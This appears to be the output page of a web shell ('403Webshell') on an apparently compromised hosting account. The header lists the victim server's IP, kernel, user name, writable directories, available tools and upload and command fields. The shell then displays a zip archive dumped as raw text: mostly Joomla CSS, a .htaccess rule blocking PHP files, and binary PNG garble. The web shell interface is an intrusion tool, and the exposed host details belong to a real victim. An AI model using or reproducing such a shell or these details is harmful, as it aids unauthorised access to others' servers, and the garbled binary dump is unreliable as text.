403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/123click/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/123click/assets/system.zip
PK!�)��
css/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!����css/adminlist.cssnu�[���/**
 * @copyright	(C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* Common CSS for adminlist grids */

html, body {
	background-color: #F0F0F0;
	color: ButtonText;
	font-family: Tahoma, Verdana, sans-serif !important;
	margin: 0 !important;
	padding: 0 !important;
}

table.adminlist {
	width: 99%;
	border-spacing: 1px;
	background-color: #f3f3f3;
	color: #666;
	font-size: 11px;
}

table.adminlist td,
table.adminlist th {
	padding: 4px !important;
	font-size: 11px;
}

table.adminlist thead th {
	text-align: center;
	background: #f7f7f7;
	color: #666;
	border-bottom: 1px solid #CCC;
	border-left: 1px solid #fff;
}

table.adminlist thead th.left {
	text-align: left;
}

table.adminlist thead a:hover {
	text-decoration: none;
}

table.adminlist thead th img {
	vertical-align: middle;
	padding-left: 3px;
}

table.adminlist tbody th {
	font-weight: bold;
}

table.adminlist th a img {
	border: 0;
}

table.adminlist tbody tr {
	background-color: #fff;
	text-align: left;
}

table.adminlist tbody tr.row0:hover td,
table.adminlist tbody tr.row1:hover td {
	background-color: #e8f6fe;
}

table.adminlist tbody tr td {
	background: #fff;
	border: 1px solid #fff;
}

table.adminlist tbody tr.row1 td {
	background: #f0f0f0;
	border-top: 1px solid #FFF;
}

table.adminlist tfoot tr {
	text-align: center;
	color: #333;
}

table.adminlist tfoot td,table.adminlist tfoot th {
	background-color: #f7f7f7;
	border-top: 1px solid #999;
	text-align: center;
}

table.adminlist td.order {
	text-align: center;
	white-space: nowrap;
	width: 200px;
}

table.adminlist td.order span {
	float: left;
	width: 20px;
	text-align: center;
	background-repeat: no-repeat;
	height: 13px;
}

table.adminlist .pagination {
	display: inline-block;
	padding: 0;
	margin: 0 auto;
}

/* Tree indentation & nesting - Up to 10 levels deep so don't go crazy :) */
table.adminlist td.indent-4		{ padding-left: 4px; }
table.adminlist td.indent-19	{ padding-left: 19px; }
table.adminlist td.indent-34	{ padding-left: 34px; }
table.adminlist td.indent-49	{ padding-left: 49px; }
table.adminlist td.indent-64	{ padding-left: 64px; }
table.adminlist td.indent-79	{ padding-left: 79px; }
table.adminlist td.indent-94	{ padding-left: 94px; }
table.adminlist td.indent-109	{ padding-left: 109px; }
table.adminlist td.indent-124	{ padding-left: 124px; }
table.adminlist td.indent-139	{ padding-left: 139px; }

table.adminlist tr td.btns a {
	text-decoration: underline;
}

/* added Angie */

/* Filter Form */
fieldset ol,
ol#property-values {
	margin: 0;
	padding: 0;
}

fieldset li,
ol#property-values li {
	list-style: none;
	margin: 0;
	padding: 5px;
}

fieldset.filter {
	border: 0;
	margin: 0;
	padding: 0 0 5px;
}

fieldset.filter ol {
	border: 0;
	list-style: none;
	margin: 0;
	padding: 5px 0 0;
}

fieldset.filter ol li {
	float: left;
	padding: 0 5px 0 0;
}

fieldset.filter ol li fieldset {
	border: 0;
	margin: 0;
	padding: 0;
}

fieldset.filter .left {
	float: left;
	width: auto;
	margin: 0;
	text-align: left;
}

fieldset.filter .left label {
	float: left;
	padding: 2px;
}

fieldset.filter .right {
	float: right;
}

fieldset#buttonbar {
	border: 0;
	text-align: right;
}

fieldset#buttonbar ul {
	list-style: none;
	margin: 0;
	padding: 0;
}

fieldset#buttonbar li {
	margin: 0;
	padding: 5px;
}

button {
	margin-top: 4px;
	background: #fff;
	border: 1px solid #ccc;
	text-decoration: none;
}

button:hover {
	cursor: pointer;
	background: #E8F6FE;
	text-decoration: none;
	border: 1px solid #aaa;
}

fieldset input,
fieldset textarea,
fieldset select,
fieldset img {
	float: left;
	width: auto;
	margin: 5px 5px 5px 0;
	font-size: 11px !important;
}

.list-footer div.limit {
	float: left;
	line-height: 22px;
	margin: 0 10px;
}

.list-footer div.limit select#limit {
	width: 50px;
}

/* ++++++++++++++  pagination  ++++++++++++++ */

.list-footer {
	margin: 10px 0;
	padding: 10px 0 10px 0;
	text-align: center;
}

table .list-footer ul {
	list-style-type: none;
	margin: 0 !important;
	padding: 0;
	text-align: left;
	border: solid 0 #ccc;
	float: left;
}

.list-footer li {
	display: inline;
	padding: 2px 5px !important;
	text-align: left;
	border: solid 0 #eee;
	margin: 0 2px;
	font-size: 11px;
}

.list-footer li.pagination-start,
.list-footer li.pagination-next,
.list-footer li.pagination-end,
.list-footer li.pagination-prev {
	border: 0;
}

.list-footer li.pagination-start ,
.list-footer li.pagination-start span {
	padding: 4px;
}

p.counter {
	font-weight: bold;
}
PK!�ZN���css/fields/calendar.cssnu�[���/**
 * @copyright	(C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */
 .js-calendar {
	box-shadow: 0 0 15px 4px rgba(0,0,0,.15) !important;
 }
.calendar-container {
	float: left;
	min-width: 160px;
	padding: 0;
	list-style: none;
	border-radius: 5px;
	background-color: #ffffff !important;
	z-index: 1100 !important;
}
.calendar-container table {
	table-layout: fixed;
	max-width: 262px;
	border-radius: 5px;
	background-color: #ffffff !important;
	z-index: 1100 !important;
}
/* The main calendar widget.  DIV containing a table. */
div.calendar-container table th, .calendar-container table td {
	padding: 8px 0;
	line-height: 1.1em;
	text-align: center;
}

div.calendar-container table body td {
	line-height: 2em;
}

div.calendar-container table td.title { /* This holds the current "month, year" */
	vertical-align: middle;
	text-align: center;
}

.calendar-container table thead td.headrow { /* Row <TR> containing navigation buttons */
	background: #fff;
	color: #000;
}

.calendar-container table thead td.name { /* Cells <TD> containing the day names */
	border-bottom: 1px solid #fff;
	text-align: center;
	color: #000;
}

.calendar-container table thead td.weekend { /* How a weekend day name shows in header */
	color: #999;
}

/* The body part -- contains all the days in month. */

.calendar-container table tbody td.day { /* Cells <TD> containing month days dates */
	text-align: right;
}

.calendar-container table tbody td.wn {
	background: #fff;
}

.calendar-container table tbody td.weekend { /* Cells showing weekend days */
	color: #999;
}

.calendar-container table tbody td.hilite { /* Hovered cells <TD> */
	background: #999999;
	color: #ffffff;
}

.calendar-container table tbody td.day {
	border: 0;
	cursor : pointer;
	font-size: 12px;
	min-width: 38px;
}

.calendar-container table tbody td.day.wn {
	text-align: center;
	background-color: #f4f4f4;
}

.calendar-container table tbody td.day.selected { /* Cell showing today date */
	background: #3071a9;
	color: #fff;
	border: 0;
}

.calendar-container table tbody td.today {
	position: relative;
	height: 100%;
	width: auto;
	font-weight: bold;
}
.calendar-container table tbody td.today:after {
	position: absolute;
	bottom: 3px;
	left: 3px;
	right: 3px;
	content: "";
	height: 3px;
	border-radius: 1.5px;
	background-color: #46a546;
}
.calendar-container table tbody td.today.selected:after {
	background-color: #fff;
}

.calendar-container table tbody td.day:hover {
	cursor: pointer;
	background: #3d8fd7;
	color: #fff;
}
.calendar-container table tbody td.day:hover:after {
	background-color: #fff;
}

.calendar-container table tbody .disabled {
	color: #999;
	background-color: #fafafa;
}

.calendar-container table tbody .emptycell { /* Empty cells (the best is to hide them) */
	visibility: hidden;
}

.calendar-container table tbody .emptyrow { /* Empty row (some months need less than 6 rows) */
	display: none;
}
.buttons-wrapper {
	padding: 5px 5px;
}
a.js-btn.btn.btn-exit, a.js-btn.btn.btn-today, a.js-btn.btn.btn-clear {
	cursor: pointer;
	text-decoration: none;
	min-width: 60px;
}
.calendar-container .calendar-head-row td {
    padding: 4px 0 !important;
}
.calendar-container .day-name {
	font-size: 0.7rem;
	font-weight: bold;
}
.calendar-container .time td {
	padding: 8px 0 8px 8px;
}
.time .time-title {
	background-image: url("data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAdlJREFUeNqklUsohFEUx7/5kgWGjEcRJULJSmJhITQLr8UoFko2k2SDLGZD2SglJcXOxo6Fx0ayUt4jWXgNG2rIwsgMJZPn/+o/dRvfa8yp33zfPfecM+e795x7bYqxtIAaUA2KgA3cgn3gBcsgrMQg3eAAfJtwBYa0Atg0dAugg+/3YAUcgkvqCkAVcIIy6raBCwT0/mRdymYG5Bt8VQoYBe+0Pwdpik6mwuAVNMawbJXgmr7e6FVokzKt1XBOZnYuneB54Jn+w/LEMZXTOo65nN80yNxNmyBIF4o6Ku6AXccpmzbzJstyQbs+FT/1VC6CFyU+mePTqbIBhBwp8csGn8UqO0qIz8AhstNBk8BP4As4RGCVyk8LgUVVlFvIXFXZ+4qUuZY8gn6W1QmYBKkadklM9PfLJriTYxYyEYFXpZp3s8Yj0kv9mhi0cuCTlsVMuqRWbpL0Xuo8YpAotaQnhgoQSzEAMjhuZoywfMb0UCmyKP1HmSXzJBQxpqIn9zhxA0piCJoFdqXu/bOpmeCMBiF+ZoJJ0E7gp0/AKCF71M1xCkZ4NRWSCjAIdiQ7v9UlHAcPUdfQh1QJEd7ArOg0K1dTRHJAO2hg8zhoH2IVbYElvaPgR4ABAFM/gtHnpJfxAAAAAElFTkSuQmCC");
	background-repeat: no-repeat;
	background-position: center; 
}

PK!*)��css/fields/calendar-rtl.cssnu�[���/**
 * @copyright	(C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */
 .js-calendar {
	box-shadow: 0 0 15px 4px rgba(0,0,0,.15) !important;
 }
.calendar-container {
	float: left;
	min-width: 160px;
	padding: 0;
	list-style: none;
	border-radius: 5px;
	background-color: #ffffff !important;
	z-index: 1100 !important;
}
.calendar-container table {
	table-layout: fixed;
	max-width: 262px;
	border-radius: 5px;
	background-color: #ffffff !important;
	z-index: 1100 !important;
}
/* The main calendar widget.  DIV containing a table. */
div.calendar-container table th, .calendar-container table td {
	padding: 8px 0;
	line-height: 1.1em;
	text-align: center;
}

div.calendar-container table body td {
	line-height: 2em;
}

div.calendar-container table td.title { /* This holds the current "month, year" */
	vertical-align: middle;
	text-align: center;
}

.calendar-container table thead td.headrow { /* Row <TR> containing navigation buttons */
	background: #fff;
	color: #000;
}

.calendar-container table thead td.name { /* Cells <TD> containing the day names */
	border-bottom: 1px solid #fff;
	text-align: center;
	color: #000;
}

.calendar-container table thead td.weekend { /* How a weekend day name shows in header */
	color: #999;
}

/* The body part -- contains all the days in month. */

.calendar-container table tbody td.day { /* Cells <TD> containing month days dates */
	text-align: right;
}

.calendar-container table tbody td.wn {
	background: #fff;
}

.calendar-container table tbody td.weekend { /* Cells showing weekend days */
	color: #999;
}

.calendar-container table tbody td.hilite { /* Hovered cells <TD> */
	background: #999999;
	color: #ffffff;
}

.calendar-container table tbody td.day {
	border: 0;
	cursor : pointer;
	font-size: 12px;
	min-width: 38px;
}

.calendar-container table tbody td.day.wn {
	text-align: center;
	background-color: #f4f4f4;
}

.calendar-container table tbody td.day.selected { /* Cell showing today date */
	background: #3071a9;
	color: #fff;
	border: 0;
}

.calendar-container table tbody td.today {
	position: relative;
	height: 100%;
	width: auto;
	font-weight: bold;
}
.calendar-container table tbody td.today:after {
	position: absolute;
	bottom: 3px;
	left: 3px;
	right: 3px;
	content: "";
	height: 3px;
	border-radius: 1.5px;
	background-color: #46a546;
}
.calendar-container table tbody td.today.selected:after {
	background-color: #fff;
}

.calendar-container table tbody td.day:hover {
	cursor: pointer;
	background: #3d8fd7;
	color: #fff;
}
.calendar-container table tbody td.day:hover:after {
	background-color: #fff;
}

.calendar-container table tbody .disabled {
	color: #999;
	background-color: #fafafa;
}

.calendar-container table tbody .emptycell { /* Empty cells (the best is to hide them) */
	visibility: hidden;
}

.calendar-container table tbody .emptyrow { /* Empty row (some months need less than 6 rows) */
	display: none;
}

.buttons-wrapper {
	padding: 5px 5px;
}
a.js-btn.btn.btn-exit, a.js-btn.btn.btn-today, a.js-btn.btn.btn-clear {
	cursor: pointer;
	text-decoration: none;
	min-width: 60px;
}
.calendar-container .calendar-head-row td {
	padding: 4px 0 !important;
}
.calendar-container .day-name {
	font-size: 0.7rem;
	font-weight: bold;
}
.calendar-container .time td {
	padding: 8px 8px 8px 0;
}
.time .time-title {
	background-image: url("data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAdlJREFUeNqklUsohFEUx7/5kgWGjEcRJULJSmJhITQLr8UoFko2k2SDLGZD2SglJcXOxo6Fx0ayUt4jWXgNG2rIwsgMJZPn/+o/dRvfa8yp33zfPfecM+e795x7bYqxtIAaUA2KgA3cgn3gBcsgrMQg3eAAfJtwBYa0Atg0dAugg+/3YAUcgkvqCkAVcIIy6raBCwT0/mRdymYG5Bt8VQoYBe+0Pwdpik6mwuAVNMawbJXgmr7e6FVokzKt1XBOZnYuneB54Jn+w/LEMZXTOo65nN80yNxNmyBIF4o6Ku6AXccpmzbzJstyQbs+FT/1VC6CFyU+mePTqbIBhBwp8csGn8UqO0qIz8AhstNBk8BP4As4RGCVyk8LgUVVlFvIXFXZ+4qUuZY8gn6W1QmYBKkadklM9PfLJriTYxYyEYFXpZp3s8Yj0kv9mhi0cuCTlsVMuqRWbpL0Xuo8YpAotaQnhgoQSzEAMjhuZoywfMb0UCmyKP1HmSXzJBQxpqIn9zhxA0piCJoFdqXu/bOpmeCMBiF+ZoJJ0E7gp0/AKCF71M1xCkZ4NRWSCjAIdiQ7v9UlHAcPUdfQh1QJEd7ArOg0K1dTRHJAO2hg8zhoH2IVbYElvaPgR4ABAFM/gtHnpJfxAAAAAElFTkSuQmCC");
	background-repeat: no-repeat;
	background-position: center; 
}

PK!_V�M��
css/modal.cssnu�[���/**
 * SqueezeBox - Expandable Lightbox
 *
 * Allows to open various content as modal,
 * centered and animated box.
 *
 * @version		1.3
 *
 * @license		MIT-style license
 * @author		Harald Kirschner <mail [at] digitarald.de>
 * @author		Rouven Weßling <me [at] rouvenwessling.de>
 * @copyright	Author
 */

#sbox-overlay {
	position: fixed;
	background-color: #000;
	left: 0px;
	top: 0px;
}

#sbox-window {
	position: absolute;
	background-color: #fff;
	text-align: left;
	overflow: visible;
	padding: 10px;
	/* invalid values, but looks smoother! */
	-moz-border-radius: 3px;
	-webkit-border-radius: 3px;
	border-radius: 3px;
}

#sbox-window[aria-hidden=true],
#sbox-overlay[aria-hidden=true] {
	display: none;
}

#sbox-btn-close {
	position: absolute;
	width: 30px;
	height: 30px;
	right: -15px;
	top: -15px;
	background: url(../images/modal/closebox.png) no-repeat center;
	border: none;
}

.sbox-loading #sbox-content {
	background-image: url(../images/modal/spinner.gif);
	background-repeat: no-repeat;
	background-position: center;
}

#sbox-content {
	clear: both;
	overflow: auto;
	background-color: #fff;
	height: 100%;
	width: 100%;
}

.sbox-content-image#sbox-content {
	overflow: visible;
}

#sbox-image {
	display: block;
}

.sbox-content-image img {
	display: block;
	width: 100%;
	height: 100%;
}

.sbox-content-iframe#sbox-content {
	overflow: visible;
}

/* Hides scrollbars */
.body-overlayed {
	overflow: hidden;
}

/* Hides flash (Firefox problem) and selects (IE) */
.body-overlayed embed, .body-overlayed object, .body-overlayed select {
	visibility: hidden;
}

#sbox-window embed, #sbox-window object, #sbox-window select {
	visibility: visible;
}

/* Shadows */
#sbox-window.shadow {
	-webkit-box-shadow: 0 0 10px rgba(0, 0, 0, 0.7);
	-moz-box-shadow: 0 0 10px rgba(0, 0, 0, 0.7);
	box-shadow: 0 0 10px rgba(0, 0, 0, 0.7);
}

.sbox-bg {
	position: absolute;
	width: 33px;
	height: 40px;
}

.sbox-bg-n {
	left: 0;
	top: -40px;
	width: 100%;
	background: url(../images/modal/bg_n.png) repeat-x;
}
.sbox-bg-ne {
	right: -33px;
	top: -40px;
	background: url(../images/modal/bg_ne.png) no-repeat;
}
.sbox-bg-e {
	right: -33px;
	top: 0;
	height: 100%;
	background: url(../images/modal/bg_e.png) repeat-y;
}
.sbox-bg-se {
	right: -33px;
	bottom: -40px;
	background: url(../images/modal/bg_se.png) no-repeat;
}
.sbox-bg-s {
	left: 0;
	bottom: -40px;
	width: 100%;
	background: url(../images/modal/bg_s.png) repeat-x;
}
.sbox-bg-sw {
	left: -33px;
	bottom: -40px;
	background: url(../images/modal/bg_sw.png) no-repeat;
}
.sbox-bg-w {
	left: -33px;
	top: 0;
	height: 100%;
	background: url(../images/modal/bg_w.png) repeat-y;
}
.sbox-bg-nw {
	left: -33px;
	top: -40px;
	background: url(../images/modal/bg_nw.png) no-repeat;
}
@media (max-width: 979px) {
	#sbox-btn-close {
		right: -10px;
		top: -10px;
	}
}
@media (max-device-width: 979px) {
	#sbox-content {
		-webkit-overflow-scrolling: touch;
	}
	#sbox-content.sbox-content-iframe {
		overflow: scroll;
		-webkit-overflow-scrolling: touch;
	}
}
PK!��oH��css/system.cssnu�[���/**
 * @copyright	(C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* System Messages */
#system-message {
	margin-bottom: 10px;
	padding: 0;
}

#system-message > dt {
	font-weight: bold;
	display: none;
}

#system-message > dd {
	margin: 0;
	font-weight: bold;
	text-indent: 30px;
}

#system-message > dd > ul {
	color: #0055BB;
	background-position: 4px top;
	background-repeat: no-repeat;
	margin-bottom: 10px;
	list-style: none;
	padding: 10px;
	border-top: 3px solid #84A7DB;
	border-bottom: 3px solid #84A7DB;
}

#system-message > dd > ul > li {
	line-height: 1.5em;
}

/* System Standard Messages */
#system-message > .message > ul {
	background-color: #C3D2E5;
	background-image: url(../images/notice-info.png);
}

/* System Error Messages */
#system-message > .error > ul,
#system-message > .warning > ul,
#system-message > .notice > ul {
	color: #c00;
}

#system-message > .error > ul {
	background-color: #E6C0C0;
	background-image: url(../images/notice-alert.png);
	border-color: #DE7A7B;
}

/* System Warning Messages */
#system-message > .warning > ul {
	background-color: #E6C8A6;
	background-image: url(../images/notice-note.png);
	border-color: #FFBB00;
}

/* System Notice Messages */
#system-message > .notice > ul {
	background-color: #EFE7B8;
	background-image: url(../images/notice-note.png);
	border-color: #F0DC7E;
}
PK!T��-..css/calendar-jos.cssnu�[���/**
 * @copyright	(C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* The main calendar widget.  DIV containing a table. */
div.calendar {
	position: relative;
	z-index: 10000;
	width: 226px;
}

.calendar, .calendar table {
	border: 1px solid #cccccc;
	font-size: 11px;
	color: #000;
	cursor: default;
	background: #efefef;
	font-family: arial,verdana,sans-serif;
}

/* Header part -- contains navigation buttons and day names. */

.calendar .button { /* "<<", "<", ">", ">>" buttons have this class */
	text-align: center;    /* They are the navigation buttons */
	padding: 2px;          /* Make the buttons seem like they're pressing */
}

.calendar thead .title { /* This holds the current "month, year" */
	font-weight: bold;      /* Pressing it will take you to the current date */
	text-align: center;
	background: #333333;
	color: #ffffff;
	padding: 2px;
}

.calendar thead .headrow { /* Row <TR> containing navigation buttons */
	background: #dedede;
	color: #000;
}

.calendar thead .name { /* Cells <TD> containing the day names */
	border-bottom: 1px solid #cccccc;
	padding: 2px;
	text-align: center;
	color: #000;
}

.calendar thead .weekend { /* How a weekend day name shows in header */
	color: #999;
}

.calendar thead .hilite { /* How do the buttons in header appear when hover */
	background: #bbbbbb;
	color: #000000;
	border: 1px solid #cccccc;
	padding: 1px;
}

.calendar thead .active { /* Active (pressed) buttons in header */
	background: #c77;
	padding: 2px 0px 0px 2px;
}

.calendar thead .daynames { /* Row <TR> containing the day names */
	background: #dddddd;
}

/* The body part -- contains all the days in month. */

.calendar tbody .day { /* Cells <TD> containing month days dates */
	width: 2em;
	text-align: right;
	padding: 2px 4px 2px 2px;
}

.calendar table .wn {
	padding: 2px 3px 2px 2px;
	border-right: 1px solid #cccccc;
	background: #dddddd;
}

.calendar tbody .rowhilite td {
	background: #666666;
	color: #ffffff;
}

.calendar tbody .rowhilite td.wn {
	background: #666666;
	color: #ffffff;
}

.calendar tbody td.active { /* Active (pressed) cells <TD> */
	background: #000000;
	color: #ffffff;
}

.calendar tbody td.weekend { /* Cells showing weekend days */
	color: #999;
}

.calendar tbody td.selected { /* Cell showing today date */
	font-weight: bold;
	background: #000000;
	color: #ffffff;
}

.calendar tbody td.hilite { /* Hovered cells <TD> */
	background: #999999;
	color: #ffffff;
}

.calendar tbody td.today {
	font-weight: bold;
}

.calendar tbody .disabled {
	color: #999;
}

.calendar tbody .emptycell { /* Empty cells (the best is to hide them) */
	visibility: hidden;
}

.calendar tbody .emptyrow { /* Empty row (some months need less than 6 rows) */
	display: none;
}

/* The footer part -- status bar and "Close" button */

.calendar tfoot .footrow { /* The <TR> in footer (only one right now) */
	text-align: center;
	background: #cccccc;
	color: #000;
}

.calendar tfoot .ttip { /* Tooltip (status bar) cell <TD> */
	border-top: 1px solid #cccccc;
	background: #efefef;
	color: #000000;
}

.calendar tfoot .hilite { /* Hover style for buttons in footer */
	background: #666666;
	border: 1px solid #f40;
	padding: 1px;
}

.calendar tfoot .active { /* Active (pressed) style for buttons in footer */
	background: #999999;
	padding: 2px 0px 0px 2px;
}

/* Combo boxes (menus that display months/years for direct selection) */

.combo {
	position: absolute;
	display: none;
	top: 0px;
	left: 0px;
	width: 4em;
	cursor: default;
	border: 1px solid #655;
	background: #ffffff;
	color: #000;
	font-size: smaller;
}

.combo .label {
	width: 100%;
	text-align: center;
}

.combo .hilite {
	background: #fc8;
}

.combo .active {
	border-top: 1px solid #cccccc;
	border-bottom: 1px solid #cccccc;
	background: #efefef;
	font-weight: bold;
}
PK!|�$��css/jquery.Jcrop.min.cssnu�[���/*! Jcrop.min.css v2.0.4 - build: 20151117
 *  Copyright 2008-2015 Tapmodo Interactive LLC
 *  Free software under MIT License
 **/

.jcrop-active{direction:ltr;text-align:left;box-sizing:border-box;-ms-touch-action:none}.jcrop-dragging{-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none}.jcrop-selection{z-index:2}.jcrop-selection.jcrop-current{z-index:4}.jcrop-border{background:#fff url(Jcrop.gif);line-height:1px!important;font-size:0!important;overflow:hidden;position:absolute;filter:alpha(opacity=50)!important;opacity:.5!important}.jcrop-border.ord-w,.jcrop-border.ord-e,.jcrop-border.ord-n{top:0}.jcrop-border.ord-n,.jcrop-border.ord-s{width:100%;height:1px!important}.jcrop-border.ord-w,.jcrop-border.ord-e{height:100%;width:1px!important}.jcrop-border.ord-e{right:-1px}.jcrop-border.ord-n{top:-1px}.jcrop-border.ord-w{left:-1px}.jcrop-border.ord-s{bottom:-1px}.jcrop-selection{position:absolute}.jcrop-box{z-index:2;display:block;background:0 0;border:0;padding:0;margin:0;font-size:0}.jcrop-box:hover{background:0 0}.jcrop-box:active{background:0 0}.jcrop-box:focus{outline:1px rgba(128,128,128,.65) dotted}.jcrop-active,.jcrop-box{position:relative}.jcrop-box{width:100%;height:100%;cursor:move}.jcrop-handle{z-index:4;background-color:rgba(49,28,28,.58);border:1px #eee solid;width:9px;height:9px;font-size:0;position:absolute;filter:alpha(opacity=80)!important;opacity:.8!important}.jcrop-handle.ord-n{left:50%;margin-left:-5px;margin-top:-5px;top:0;cursor:n-resize}.jcrop-handle.ord-s{bottom:0;left:50%;margin-bottom:-5px;margin-left:-5px;cursor:s-resize}.jcrop-handle.ord-e{margin-right:-5px;margin-top:-5px;right:0;top:50%;cursor:e-resize}.jcrop-handle.ord-w{left:0;margin-left:-5px;margin-top:-5px;top:50%;cursor:w-resize}.jcrop-handle.ord-nw{left:0;margin-left:-5px;margin-top:-5px;top:0;cursor:nw-resize}.jcrop-handle.ord-ne{margin-right:-5px;margin-top:-5px;right:0;top:0;cursor:ne-resize}.jcrop-handle.ord-se{bottom:0;margin-bottom:-5px;margin-right:-5px;right:0;cursor:se-resize}.jcrop-handle.ord-sw{bottom:0;left:0;margin-bottom:-5px;margin-left:-5px;cursor:sw-resize}.jcrop-touch .jcrop-handle{z-index:4;background-color:rgba(49,28,28,.58);border:1px #eee solid;width:18px;height:18px;font-size:0;position:absolute;filter:alpha(opacity=80)!important;opacity:.8!important}.jcrop-touch .jcrop-handle.ord-n{left:50%;margin-left:-10px;margin-top:-10px;top:0;cursor:n-resize}.jcrop-touch .jcrop-handle.ord-s{bottom:0;left:50%;margin-bottom:-10px;margin-left:-10px;cursor:s-resize}.jcrop-touch .jcrop-handle.ord-e{margin-right:-10px;margin-top:-10px;right:0;top:50%;cursor:e-resize}.jcrop-touch .jcrop-handle.ord-w{left:0;margin-left:-10px;margin-top:-10px;top:50%;cursor:w-resize}.jcrop-touch .jcrop-handle.ord-nw{left:0;margin-left:-10px;margin-top:-10px;top:0;cursor:nw-resize}.jcrop-touch .jcrop-handle.ord-ne{margin-right:-10px;margin-top:-10px;right:0;top:0;cursor:ne-resize}.jcrop-touch .jcrop-handle.ord-se{bottom:0;margin-bottom:-10px;margin-right:-10px;right:0;cursor:se-resize}.jcrop-touch .jcrop-handle.ord-sw{bottom:0;left:0;margin-bottom:-10px;margin-left:-10px;cursor:sw-resize}.jcrop-dragbar{font-size:0;position:absolute}.jcrop-dragbar.ord-n,.jcrop-dragbar.ord-s{height:9px!important;width:100%}.jcrop-dragbar.ord-e,.jcrop-dragbar.ord-w{top:0;height:100%;width:9px!important}.jcrop-dragbar.ord-n{margin-top:-5px;cursor:n-resize;top:0}.jcrop-dragbar.ord-s{bottom:0;margin-bottom:-5px;cursor:s-resize}.jcrop-dragbar.ord-e{margin-right:-5px;right:0;cursor:e-resize}.jcrop-dragbar.ord-w{margin-left:-5px;cursor:w-resize}.jcrop-shades{position:relative;top:0;left:0}.jcrop-shades div{cursor:crosshair}.jcrop-noresize .jcrop-dragbar,.jcrop-noresize .jcrop-handle{display:none}.jcrop-selection.jcrop-nodrag .jcrop-box,.jcrop-nodrag .jcrop-shades div{cursor:default}.jcrop-light .jcrop-border{background:#fff;filter:alpha(opacity=70)!important;opacity:.7!important}.jcrop-light .jcrop-handle{background-color:#000;border-color:#fff}.jcrop-dark .jcrop-border{background:#000;filter:alpha(opacity=70)!important;opacity:.7!important}.jcrop-dark .jcrop-handle{background-color:#fff;border-color:#000}.solid-line .jcrop-border{background:#fff}.jcrop-thumb{position:absolute;overflow:hidden;z-index:5}.jcrop-active img,.jcrop-thumb img,.jcrop-thumb canvas{min-width:none;min-height:none;max-width:none;max-height:none}.jcrop-hl-active .jcrop-border{filter:alpha(opacity=20)!important;opacity:.2!important}.jcrop-hl-active .jcrop-handle{filter:alpha(opacity=10)!important;opacity:.1!important}.jcrop-hl-active .jcrop-selection:hover{}.jcrop-hl-active .jcrop-selection:hover .jcrop-border{background-color:#ccc;filter:alpha(opacity=50)!important;opacity:.5!important}.jcrop-hl-active .jcrop-selection.jcrop-current .jcrop-border{background:gray url(Jcrop.gif);opacity:.35!important;filter:alpha(opacity=35)!important}.jcrop-hl-active .jcrop-selection.jcrop-current .jcrop-handle{filter:alpha(opacity=30)!important;opacity:.3!important}.jcrop-hl-active .jcrop-selection.jcrop-focus .jcrop-border{background:url(Jcrop.gif);opacity:.65!important;filter:alpha(opacity=65)!important}.jcrop-hl-active .jcrop-selection.jcrop-focus .jcrop-handle{filter:alpha(opacity=60)!important;opacity:.6!important}button.jcrop-box{background:0 0}PK!j&哾�css/mootree_rtl.cssnu�[���/**
 * @copyright	(C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

.mooTree_img {
	float: right;
}PK!Q+�?css/frontediting.cssnu�[���/**
 * @copyright	(C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* Module edit in front-end */

.jmoddiv.jmodinside {
    position: relative;
    top: 0;
    left: 0;
}
.btn.jmodedit
{
    z-index: 1001;
    display: block;
    position: absolute;
    top: 0;
    right: 0;
}
html[dir=rtl] .btn.jmodedit
{
    right: auto;
    left: 0;
}

/* Menu edit in front-end */

.btn.jfedit-menu
{
    z-index: 1002;
    display: block;
}
PK!4��l��css/mootree.cssnu�[���/**
 * @copyright	(C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

.mooTree_node {
	font-family: Verdana, Arial, Helvetica;
	font-size: 10px;
	white-space: nowrap;
}

.mooTree_text {
	padding-top: 3px;
	height: 15px;
	cursor: pointer;
}

.mooTree_img {
	float: left;
	width: 18px;
	height: 18px;
	overflow: hidden;
}

.mooTree_selected	 {
	background-color: #ffc;
	font-weight: bold;
}
PK!�+g_QQimages/no_indent.pngnu�[����PNG


IHDR7n�$tRNS���
IDATxch��L��IEND�B`�PK!�|sFRRimages/notice-info.pngnu�[����PNG


